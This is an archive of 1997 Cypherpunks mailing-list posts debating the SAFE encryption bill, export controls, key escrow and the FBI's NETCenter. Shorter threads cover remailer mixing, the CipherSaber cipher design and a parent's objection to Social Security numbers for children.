There is an exective order or presidential decision directive (pdd) from 
the mid-80's that formalizes a "relationship" between the NSA and FBI for 
law enforcement decryption.  However, I never was able to get my hands on 
it ...

Aaron





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Aaron Weissman <aweissman@mocc.com>
Date: Fri, 26 Sep 1997 06:26:39 +0800
To: "'Tim May'" <fight-censorship@vorlon.mit.edu>
Subject: RE: Why the White amendment is a good idea #2
Message-ID: <01BCC9C9.89151140.aweissman@mocc.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thursday, September 25, 1997 11:34 AM, Tim May [SMTP:tcmay@got.net] 
wrote:
> Though we as technical people are usually cautious to say that
> "unbreakable" is a dangerous word, the fact is that it's our current best
> description of what a 2000-bit RSA key is, and that's all there is to it.

I don't dispute you -- in the slightest -- that a brute force attack 
against a 2000-bit RSA key is functionally impossible today.  However, I 
don't think that a brute force attack is the most likely for a functional 
law enforcement (or national security) crypto lab.  Unless you think that 
today's algorithms and conventional random number generators are perfect 
...

Aaron 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Sat, 27 Sep 1997 17:10:23 +0800
To: stewarts@ix.netcom.com
Subject: Re: The Telcos oppose Oxley
In-Reply-To: <3.0.3.32.19970925101645.006f6580@popd.ix.netcom.com>
Message-ID: <199709252153.OAA22703@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain



> Beepers are also universal with sales people, partly because
> cell phones don't have enough battery life; the new PCS phones that
> combine the two capabilities may change this.
> Computer dealer; drug dealer; - the latter knews what he's selling...

Beepers are also nice for people who like to be reachable but don't
care for "Location Escrow".  Many of us carry cell phones, but don't
keep them powered up.

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Fri, 26 Sep 1997 06:21:53 +0800
To: aba@dcs.ex.ac.uk
Subject: Re: Exports and criminalizing crypto
Message-ID: <19970925215418.1688.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>From: Adam Back <aba@dcs.ex.ac.uk>
>John Smith <jsmith58@hotmail.com> writes:
>> Getting rid of these export restrictions would produce an explosion
>> of Cypherpunk style crypto software.  It is a big win.
>
>I disagree.
>
>Cypherpunk (freeware) crypto isn't hardly hindered at all by EAR
>export nonsense.  
>
>You reference Ian Goldberg claiming to have to work on crypto during
>trips to Canada.  I think he was just trying to make a political
>point.  I submit that he could write and publish all the crypto he
>wants in the US (on one of those "export controlled" sites).  It will
>get illegally exported in no time at all.  Where's the problem?

That's easy for you to say, there in England.  You don't have these
export controls, right?  How can you say what Ian Goldberg should
do.  I think he was not just making a political point.  From what he
said, he really does not release crypto from inside the US.  Only
when he goes to Canada, which isn't that often.  I'll bet he could
be releasing 3x more crypto if we didn't have the export laws.
Is he on this list?  Let's hear what he has to say.

>William Geiger has PGP on a non-export controlled site, and the export
>bods haven't said a word, so it's not even clear that they care about
>freeware at this point.

PGP is a special case because it is already out there everywhere.
Still the example of Phil Zimmerman is a good one.  Even though he
got away with it eventually, they showed how they can make your life
hard.  Probably the only reason he didn't get charged was because
they couldn't prove anything.  Not many people are going to be
willing to take that chance.  William Geiger and a few others may
be exceptions, but most people won't openly break a law which has
strong penalties like this.

There is nothing to stop te authorities from prosecuting William
Geiger and even threatening him with jail.  There is no
guarantee that he will become another Zimmerman and get all kinds
of donations and support.  A lot of hackers thought they'd be heros
but ended up doing time.  Read that letter from Jim Bell if you want
to see how different things look once the government comes down on
you.

>Also your claim that the FBI is defeated, and that safe is a good
>idea.  Disagree also.
>
>1) SAFE has lots more hurdles to pass before it gets to be law.

Yes, I said that.  It probably won't go anywhere this term.  The
big question will be what happens next year.

But after all the opposition which came out, from practically every
interest group there is, I am sure that there is no way domestic
controls on crypto are going to pass.  Even with the CDA there was
not this much united opposition.  Car companies and phone companies
didn't fight the CDA.  Religious right didn't fight the CDA.  CDA
passed, remember?  FBI's bill did not.  And all the opposition
came together in a few days.  Nobody was ready for this.  Next year
there will be more time to organize, and the opposition should be
even stronger.

>2) If it does get to be law, you won't like the modifications that are
>made to it by that stage.

That depends.  The law may still be good.  Who cares about this
crypto center.  That's just another boondoggle.  The main thing is
getting the export laws changed.

>3) Crypto-in-a-crime US domestic restrictions are a _bad thing

Stupid, yes, but not that big a deal.  Everyone will have crypto
so every crime will use it.  Wouldn't it be better to have a world
where every phone was encrypted?  So what if they add crypto-in-a-
crime to every crime where somebody used a phone to plan it.  It's
not like people aren't going to use phones, or they're going to
turn off the crypto.  It really won't have any effect on anybody,
except maybe make some prison terms longer.  That's not my issue,
how long prison terms should be.  I want to be able to use crypto.

I hope this stupid mailer doesn't chop off my message again.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Thu, 25 Sep 1997 23:16:00 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Good News / Bad News  NOT FUNNY, GUYS
In-Reply-To: <342A3587.7A2D@dev.null>
Message-ID: <199709251506.JAA04356@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    NOT FUNNY, GUYS

    whether or not this is intended to be tonque in cheek or not, it is
    in poor taste given Jim Bell's circumstances.  that is true whether
    or not you thought he had it coming or not.  regardless of the 
    implications to government, Jim Bell is a political prisoner.

on or about 970925:0357 
    A Player To Be Named Later <aptbnl@dev.null> purported to expostulate:

+Bill Gore, FBI - 
+"The good news is that we have apprehended Ramon Eduardo Arellano-Felix
+ in return for paying out the two million dollar reward for his sorry,
+ drug-dealing, scum-sucking ass."

+Louis Freeh, Lying Nazi Fuck - 
+"What's the bad news?

+Bill Gore, FBI - 
+"We payed the two million to Jim Bell, and he used it to place a
+bet..."

 --
 "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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=jYFU
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Aaron Weissman <aweissman@mocc.com>
Date: Fri, 26 Sep 1997 06:20:09 +0800
To: "'Lizard'" <fight-censorship@vorlon.mit.edu>
Subject: RE: Why the White amendment is a good idea (fwd)
Message-ID: <01BCC9C9.8B78F1E0.aweissman@mocc.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thursday, September 25, 1997 12:00 PM, Lizard [SMTP:lizard@dnai.com] 
wrote:
> But to do that, you see, you'll need warrents, reasons for
> suspiscion, and, becuase of the effort involved, you'll only do it
> for serious crimes with a strong liklihood of conviction. *That* is
> the 'stauts quo' law enforcement *claims* to want.

and the technical realities of encryption, plus the limitations of any 
"NETCenter," will force a respect for, or at least compliance with, the 4th 
amendment.  Hooray!

Aaron





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Aaron Weissman <aweissman@mocc.com>
Date: Fri, 26 Sep 1997 06:33:18 +0800
To: "'Jeff Barber'" <fight-censorship@vorlon.mit.edu>
Subject: RE: Why the White amendment is a good idea (fwd)
Message-ID: <01BCC9C9.8D7FBE60.aweissman@mocc.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thursday, September 25, 1997 1:37 PM, Jeff Barber 
[SMTP:jeffb@issl.atl.hp.com] wrote:
> We shouldn't have to "trick" Congress into doing the right thing,
> or provide cover for them either.

Ultimately, we are not going to "trick" them.  Congress has tools, like 
CRS, that ensure that they (usually) have good information before a bill is 
sent to the President.

However, why shouldn't we provide cover for them?  You can be sure that 
Oxley, McCain, Kerrey, etc. will receive "cover" from the FBI and Law 
Enforcement.  You can be sure that they will receive endorsements from all 
of the right "fraternal brotherhood of police whatever" organizations come 
election time.

If a Member of Congress wants to support civil rights, I think that we 
*should* provide as much support and "cover" as possible.  It's hard enough 
to publically support civil rights and free speech in today's media 
climate.

We won yesterday because the Committee found a solution that gave them 
cover and allowed all parties to declare victory.  I find that to be a very 
good thing.

Aaron





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SL Baur <steve@xemacs.org>
Date: Fri, 26 Sep 1997 06:38:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Plea from a parent who wants to keep their kid free of SSNs
In-Reply-To: <de0d1639395217e9132b11433a6fcc06@anon.efga.org>
Message-ID: <m2hgb9rpot.fsf@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous who signed himself as Monty Cantsin <anon@anon.efga.org> writes:

> While I am generally sympathetic with Mr. Treibs, it does not seem
> reasonable to ask for a government child subsidy while claiming the
> government has no business raising kids.

Since when is a deduction on income tax (not a tax credit) a
`government child subsidy'?

It's not the government's money.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Fri, 26 Sep 1997 03:06:08 +0800
To: aweissman@mocc.com
Subject: Re: Why the White amendment is a good idea (fwd)
In-Reply-To: <Pine.LNX.3.95.970925120717.17603A-100000@vorlon.mit.edu>
Message-ID: <199709251936.PAA09585@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh writes:

> ---------- Forwarded message ----------
> Date: Wed, 24 Sep 1997 19:06:33 -0600
> From: Aaron Weissman <aweissman@mocc.com>
> To: "'fight-censorship@vorlon.mit.edu'" <fight-censorship@vorlon.mit.edu>
> Subject: Why the White amendment is a good idea

> The NETCenter is a great idea.
[blah blah]

> The passage of this amendment helps ensure that 
> the terms of this debate remain centered on our 
> civil liberties -- not kiddie porn.  If we are 
> going to win this argument (and the stakes are 
> very large) we have to keep this debate framed 
> with our criteria.

Follow your own advice.  All this crap about NETCenter has nothing 
to do with our civil liberties.  Whether NETCenter is a good idea or 
not is a completely separable issue (which I see Tim May just covered
thoroughly), and is merely a fig leaf offered to spineless
Congresscritters to deflect some of the "criticism" they might
otherwise be subjected to on the law enforcement "issue".  The fact
that White offers it shows that he is just as spineless.

We shouldn't have to "trick" Congress into doing the right thing, 
or provide cover for them either.

As you say, though, let's keep this debate framed with our criteria:
Do you, Congressman, support the constitutional guarantee of free
speech, or not?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Fri, 26 Sep 1997 07:28:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exports and criminalizing crypto
Message-ID: <19970925230814.2590.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>From: Tim May <tcmay@got.net>
>J. Random Hotmail User, you'd better learn to read the text of the 
bills
>you so blithely think are OK.

Well, I read the text of the bill, and here is part of what it says:


`(2) ITEMS NOT REQUIRING LICENSES- No validated license may be required, 
except
    pursuant to the Trading With The Enemy Act or the International 
Emergency Economic Powers
    Act (but only to the extent that the authority of such Act is not 
exercised to extend controls
    imposed under this Act), for the export or reexport of--

          `(A) any software, including software with encryption 
capabilities--

               `(i) that is generally available, as is, and is designed 
for installation by the
               purchaser; or

               `(ii) that is in the public domain for which copyright or 
other protection is not
               available under title 17, United States Code, or that is 
available to the public
               because it is generally accessible to the interested 
public in any form;



This sounds like it should cover the kind of crypto that we
are talking about and that Ian Goldberg does.  It is generally
available and installable by the purchaser (it's free) and
it is in the public domain and generally accessible to the interested
public, etc.  And see, there are no export licenses for this.

There is another part that has the stuff you were talking about
re "diversion" and terrorism, but that is separate.  It
is for software that is not generally accessible and installable
by the purchaser and all that.  More specialized stuff, like custom
packages.  But cypherpunks software is for everybody, and this bill
should make it free to export.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "K. N. Cukier" <100736.3602@compuserve.com>
Date: Fri, 26 Sep 1997 05:14:02 +0800
To: Fight Censorship <FIGHT-CENSORSHIP@vorlon.mit.edu>
Subject: Re: Why the White amendment is a good idea (fwd)
Message-ID: <199709251628_MC2-21D3-9A59@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain




Declan McCullagh forwarded the message by...
>From: Robert Hettinga <rah@shipwright.com> -- who wrote:

>> The NETCenter
>
>What an oxy-maroon. What a self-referent -- not to mention
>self-congratulary -- canard. [...]
>
>Any entity which has the unmitigated presumption to have "center" and
"net"
>in its name demonstrates nothing less than total ignorance  [...]
>
>Reality is not optional. Trying to find the "center" of any piece of the
>net is equivalent to the cosmological "problem" of finding the "center" of
>the universe.
>
>It represents the utter fallacy of hierarchy in a geodesic age.

I take your point insofar as "NETCenter" and crypto, but you repeat a
common misperception. Although the Net is tough to control, and it is a
distributed system of networks, there are -- of course -- a number of
centralized process. The Domain Name System is completely hierarchical.
Moreover, Jon Postel of IANA represents the Net's central authority due to:
1. the IP number allocations, 2. the DNS "root", and 3. the technical
standards, such as port numbers, etc. Unless there was a certain degree of
centralized control, in an engineering perspective, the Net "Would Not
Work." That's the fact, Jack -- n'est-ce pas? Yes, it is *possible* to do
away with these centralized functions, and this is happening now, in a very
non-public way.

-- KNC





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 26 Sep 1997 05:12:30 +0800
To: cypherpunks@toad.com
Subject: Re: Plea from a parent who wants to keep their kid free of SSNs
In-Reply-To: <Pine.GSO.3.95.970925115935.1676I-100000@well.com>
Message-ID: <v03110704b05076916666@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:00 pm -0400 on 9/25/97, Declan McCullagh wrote:

> For religious reasons (explained below), we do not have Social Security
> numbers for our children, the oldest of 4 being 5 years old.

Move to Saipan (US Territory, Northern Mariana Islands)?
I don't know why I think so, but I think that residents don't have to file
tax returns.

Nope. Now that I think about it, as a US citizen, you're liable for income
taxes no matter where you are in the world. As we've said here before on
cypherpunks, the only other country in the world where this is the case is
the post-Marcos Phillipenes.

Or maybe Puerto Rico, I seem to remember they had special tax status.
(Nawww. They're more statist than we are, even if they're nominally
independant.)

Of course, all this points up what Tim has said here all along, Duncan's
esteemed financial creativity aside. If you're an American, you can run,
but you can't hide.

Pray the Y2K problem (or maybe digital transaction settlement) kills the
IRS, I suppose...

All of which makes me think that the US is Athens of the modern world.
Delian League and all.

Though I shudder to think who the Spartans are going to be. Unless they're
us, I guess. :-).


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 26 Sep 1997 07:47:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer Attack
In-Reply-To: <199709252158.XAA21054@basement.replay.com>
Message-ID: <v03102801b050a29e2f1f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:58 PM -0700 9/25/97, Anonymous wrote:

>The remailers should all have about the same latency.  0 seconds seems
>like a good Schelling point.  What would it take to reduce remailer
>latency to under 60 seconds for most of the remailers?  Do people need
>old 486s to dedicate to the task?  Do they need money?  Better
>software?
>
>If you operate a remailer, please tell us what you need to make it
>really work well.  Perhaps the rest of us can help make it happen.


Think about a zero latency. How would mixing then occur? How would the
mapping between incoming and outcoming messages be obscured?

Latency, per se, is of course not the key issue. Mixing is. If a remailer
site gets an average of 10 messages per minute, and a mixing of 10 is
desired, then the average time delay could be as short as 1 minute. If a
remailer gets only a handful of messages over several hours, then the
latency cannot safely be made shorter than a few hours.

The math is straightforward.

As to what is needed to generally improve the remailers, this has been
discussed many times. Cf. my Cyphernomicon for some thoughts, c. 1994,
which actually haven't changed much.

Generally, a bunch of things would be nice to have:

* throwaway accounts, and yet with some robustness or reputation capital
backing them

* increased traffic at all levels

* a profit motive for remailers, using "digital postage" (though this may
work against the second point, having more traffic)

* more chaining tools for average users (on Windows and Macintosh machines,
using standard mailers)

* more analysis of the weaknesses of remailer networks, looking at
correlations that can be made, spoofing methods, etc.

* and so on

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sat, 27 Sep 1997 12:22:49 +0800
To: <cypherpunks@ssz.com>
Subject: Re: The CipherSaber Manifesto
Message-ID: <199709252040.QAA11837@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 9/24/97 8:42 PM, Antonomasia (ant@notatla.demon.co.uk)  passed this 
wisdom:

>reinhold@world.std.com (Arnold Reinhold) wrote:
>
>> CipherSaber-1 (CS1) uses Ron Rivest's RC4 algorithm as published in
>> the second edition of Bruce Schneier's Applied Cryptography. ....
>
>> CipherSaber-1 is a symmetric-key file encryption system. Messaging
>> takes place by attaching binary files to e-mail. Because CipherSaber
>> uses a stream cipher, an initialization vector must be used to prevent
>> the same cipher key from being used twice. In encrypted CipherSaber-1
>> files, a ten byte initialization vector precedes the coded data. For
>> decryption, the initialization vector is read from the file and
>> appended to the user key before the key setup step.  ......
>
>Why not _prepend_ the IV to the key ?  As described here any
>paranoics who use keys > 255 chars won't get the IV in place, and
>will lose out.  I think I'd also force 4 bytes of the IV to be the
>current time, as a defence against the (P?)RNG getting me a repeated IV
>eventually.

  ... same thing occurred to me though its easy enough to test the key 
length and the truncate it at 246 issuing a warning to the user ...



Brian B. Riley --> http://www.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "The idea that Bill Gates has appeared like a knight in shining     
  armour to lead all customers out of a mire of technological        
  chaos neatly ignores the fact that it was he who, by peddling      
  second-rate technology, led them into it in the first place.       
			-- Douglas Adams, on Windows '95   	       






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Fri, 26 Sep 1997 08:21:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Why no version of SAFE removes export ctrls, and all are    dangerous
Message-ID: <19970926000039.26898.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com>:

            Sure,
            removing export controls completely would benefit
            everyone, but SAFE doesn't go that far: Only software
            "that is generally available" overseas may be exported.
            Which means if I invent a new data-scrambling method
            that nobody overseas has developed, I'm screwed.

This is wrong.  I quoted the part earlier removing restrictions on
generally available software.  Here is what they say about that:


"(A) the term 'generally available' means, in the case of software 
(including software with
encryption capabilities), software that is offered for sale, license, or 
transfer to any person without
restriction, whether or not for consideration, including, but not 
limited to, over-the-counter retail
sales, mail order transactions, phone order transactions, electronic 
distribution, or sale on approval;


There's nothing about it having to be available overseas.  You are
probably confusing it with the hardware part:


"(4) HARDWARE WITH ENCRYPTION CAPABILITIES. -- The Secretary shall 
authorize the
export or reexport of computer hardware with encryption capabilities if 
the Secretary determines
that a product offering comparable security is commercially available 
outside the United States
from a foreign supplier, without effective restrictions.


But that part is hardware only.  Software just has to be freely
available to anyone who wants it.  It's almost like this was written
just for cypherpunks.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 26 Sep 1997 08:52:50 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Concrete examples re why we can't trust the government with our keys.
Message-ID: <3.0.3.32.19970925172115.007e7370@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain




>From today's San Jose Mercury News' "AP Breaking News" section -

First, the FBI settled a FOIA suit with a scholar who had sought access to
the FBI's files re John Lennon - the FBI fought release for 16 years,
finally agreeing to release all but 10 records and pay the requester's
$204,000 in accrued attorney's fees. The records released revealed no
information which suggested that Lennon was involved in, planned to, or
engaged in an illegal act; he was, however, unpopular with the then-head of
the FBI, J. Edgar Hoover. Who is Louis Freeh spying on?
<http://www.sjmercury.com/news/breaking/docs/080798.htm>

Second, a former NSA employee was sentenced to 18 years in Federal prison
for selling classified information to the Soviet Union for a mere $27,000.
How much would he have charged for escrowed key information? 
<http://www.sjmercury.com/news/breaking/docs/072698.htm>


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 26 Sep 1997 08:47:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exports and criminalizing crypto
In-Reply-To: <19970925230814.2590.qmail@hotmail.com>
Message-ID: <v03102802b050af171d4b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:08 PM -0700 9/25/97, John Smith wrote:
>>From: Tim May <tcmay@got.net>
>>J. Random Hotmail User, you'd better learn to read the text of the
>bills
>>you so blithely think are OK.
>
>Well, I read the text of the bill, and here is part of what it says:
>

Congratulations on now having read the bill you endorse earlier today. You
should have read it before endorsing it. Now you are apparently grasping at
straws to reinforce the conclusions you have already reached, that SAFE is
a good bill and will let Ian and others freely export their products.

As for quoting just one section, there is always danger in this. For one
thing, the paragraphs preceeding the ones you quote say:

"Subject to paragraphs (2), (3), and (4), the Secretary shall have
exclusive authority to control exports of all computer hard ware, software,
and technology for information security (including encryption), except that
which is specifically designed, or modified for military use, including
command, control, and intelligence applications."

Paragraph (3) is the one which imposes a standard for export which is quite
opposite the "no license" you apparently believe is the overriding
paragraph.




>`(2) ITEMS NOT REQUIRING LICENSES- No validated license may be required,
>except
>    pursuant to the Trading With The Enemy Act or the International
>Emergency Economic Powers
>    Act (but only to the extent that the authority of such Act is not
>exercised to extend controls
>    imposed under this Act), for the export or reexport of--
>
>          `(A) any software, including software with encryption
>capabilities--
>
>               `(i) that is generally available, as is, and is designed
>for installation by the
>               purchaser; or
>
>               `(ii) that is in the public domain for which copyright or
>other protection is not
>               available under title 17, United States Code, or that is
>available to the public
>               because it is generally accessible to the interested
>public in any form;
>
>
>
>This sounds like it should cover the kind of crypto that we
>are talking about and that Ian Goldberg does.  It is generally
>available and installable by the purchaser (it's free) and
>it is in the public domain and generally accessible to the interested
>public, etc.  And see, there are no export licenses for this.

And you interpret Paragraph (3) in which way?

Even if Paragraph (3) did not exist, the allusion to the Trading With The
Enemy Act (which leads to the Munitions Act and the ITARs and, now, EARs)
and the Emergency Economic Powers Act would pretty much ensure that the
Feds could and would use SAFE to halt exports of a product they believed
would compromise national security, tax collection capabilities, etc.


>There is another part that has the stuff you were talking about
>re "diversion" and terrorism, but that is separate.  It
>is for software that is not generally accessible and installable
>by the purchaser and all that.  More specialized stuff, like custom
>packages.  But cypherpunks software is for everybody, and this bill
>should make it free to export.

Nonsense. Read the _entire_ text. Also read Declan's June article, which he
just sent to the list today.

The debate is not about export of "custom packages." Ask RSADSI. Ask
Netscape. Ask PGP Inc.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 26 Sep 1997 05:54:40 +0800
To: cypherpunks@cyberpass.net
Subject: Plea from a parent who wants to keep their kid free of SSNs
Message-ID: <de0d1639395217e9132b11433a6fcc06@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

David C. Treibs writes via Declan McCullagh:
>The Bible gives the responsibility of raising children to parents, not
>to the government or any other entity.
>
>Forcing Social Security Numbers on children represents a major violation
>of parents' God-given responsibility.

While I am generally sympathetic with Mr. Treibs, it does not seem
reasonable to ask for a government child subsidy while claiming the
government has no business raising kids.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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=cxyC
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Fri, 26 Sep 1997 06:24:26 +0800
To: trei@process.com
Subject: Re: Emphasizing a point by Donald Eastlake re key recovery
In-Reply-To: <199709251409.KAA00832@callandor.cybercash.com>
Message-ID: <3.0.3.32.19970925174308.03286100@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:25 AM 9/25/97 -6, Peter Trei wrote:
>Well, I dunno. About 18 months ago, I was involved with the 
>negotiations over the exportability of an SSL equipped web
>server I had helped develop. The export model used 40 bit RC4
>and 512 bit keys. The initial version used 3DES to encrypt 
>stored private keys, and this was turned down. I modified it to
>use single DES, and it passed.
>
>Note that this was for secret key storage only.

This should be listed as yet another outrage of the current system -- 
perhaps reason to start another lawsuit.

 - Carl

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+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stanton McCandlish <mech@eff.org>
Date: Fri, 26 Sep 1997 09:09:12 +0800
To: gbroiles@netbox.com (Greg Broiles)
Subject: Re: Concrete examples re why we can't trust the government with
In-Reply-To: <3.0.3.32.19970925172115.007e7370@mail.io.com>
Message-ID: <199709260044.RAA13926@eff.org>
MIME-Version: 1.0
Content-Type: text/plain



Cf. "FileGate", the frequent prosecution of IRS employees busted selling
American's personal tax information to PIs and other nosy parties, and FL
state(?) health worker caught giving out diskettes of AIDS patient records
at a local bar.  There are also cases of  DMV giving out contact info that
has resulted in stalkings and murders.  Look also for other Ames-alikes.
JEdgar himself was blackmailing.

Greg Broiles typed:
> 
> 
> >From today's San Jose Mercury News' "AP Breaking News" section -
> 
> First, the FBI settled a FOIA suit with a scholar who had sought access to
> the FBI's files re John Lennon - the FBI fought release for 16 years,
> finally agreeing to release all but 10 records and pay the requester's
> $204,000 in accrued attorney's fees. The records released revealed no
> information which suggested that Lennon was involved in, planned to, or
> engaged in an illegal act; he was, however, unpopular with the then-head of
> the FBI, J. Edgar Hoover. Who is Louis Freeh spying on?
> <http://www.sjmercury.com/news/breaking/docs/080798.htm>
> 
> Second, a former NSA employee was sentenced to 18 years in Federal prison
> for selling classified information to the Soviet Union for a mere $27,000.
> How much would he have charged for escrowed key information? 
> <http://www.sjmercury.com/news/breaking/docs/072698.htm>
> 
> 
> --
> Greg Broiles                | US crypto export control policy in a nutshell:
> gbroiles@netbox.com         | Export jobs, not crypto.
> http://www.io.com/~gbroiles | http://www.parrhesia.com
> 



--
Stanton McCandlish                                           mech@eff.org
Electronic Frontier Foundation                           Program Director
http://www.eff.org/~mech    +1 415 436 9333 x105 (v), +1 415 436 9333 (f)
Are YOU an EFF member?                            http://www.eff.org/join





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@panix.com>
Date: Fri, 26 Sep 1997 06:26:50 +0800
To: cryptography@c2.org
Subject: The Commerce committee votes are up at crypto.com
Message-ID: <199709252156.RAA00518@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain



Last night's votes on SAFE in the Commerce committee are in place at
http://www.crypto.com/member/

Simply select the member of Congress you're curious about, either by zip code
or by state, and you can see how they voted in the three Commerce votes
last night.  Then, you can call and yell or send kudos.

If you're a part of the Adopt Your Legislator program, you'll be receiving
a custom-tailored alert soon with all this information.

-Shabbir





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 26 Sep 1997 06:27:15 +0800
To: "Brock N. Meeks" <brock@well.com>
Subject: Re: How the FBI/NSA forces can further twist SAFE
In-Reply-To: <v03007801b05053415c14@[204.254.21.85]>
Message-ID: <v03007807b0508d3bfd76@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:06 -0700 9/25/97, Brock N. Meeks wrote, quoting me:
>> Underlying all this is the threat of a presidential veto. What pro-crypto
>> legislation can survive it? That will give the FBI/NSA more leverage when
>> pushing for their kind of "compromise." Especially because of the slothful
>> speed of the Senate, the process will take close to a year, probably.
>
>Yeah, well, except that there isn't a year left for this Congress.  If it
>doesn't get done before the next recess (in which we don't see Congress
>again until it becomes teh 106th, next year) the slate is wiped clean and
>we start from ground zero.

That's not right. The 106th Congress doesn't begin until January //1999//,
after the elections. The slate is not wiped clean in 1998; we don't start
from ground zero. Bills will carry over to next year when Congress returns
in January for the second session of the 105th.

That's why it may take close to a year -- perhaps until next summer -- for
Congress to finish compromising away your rights to use whatever encryption
software you like.

-Declan


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






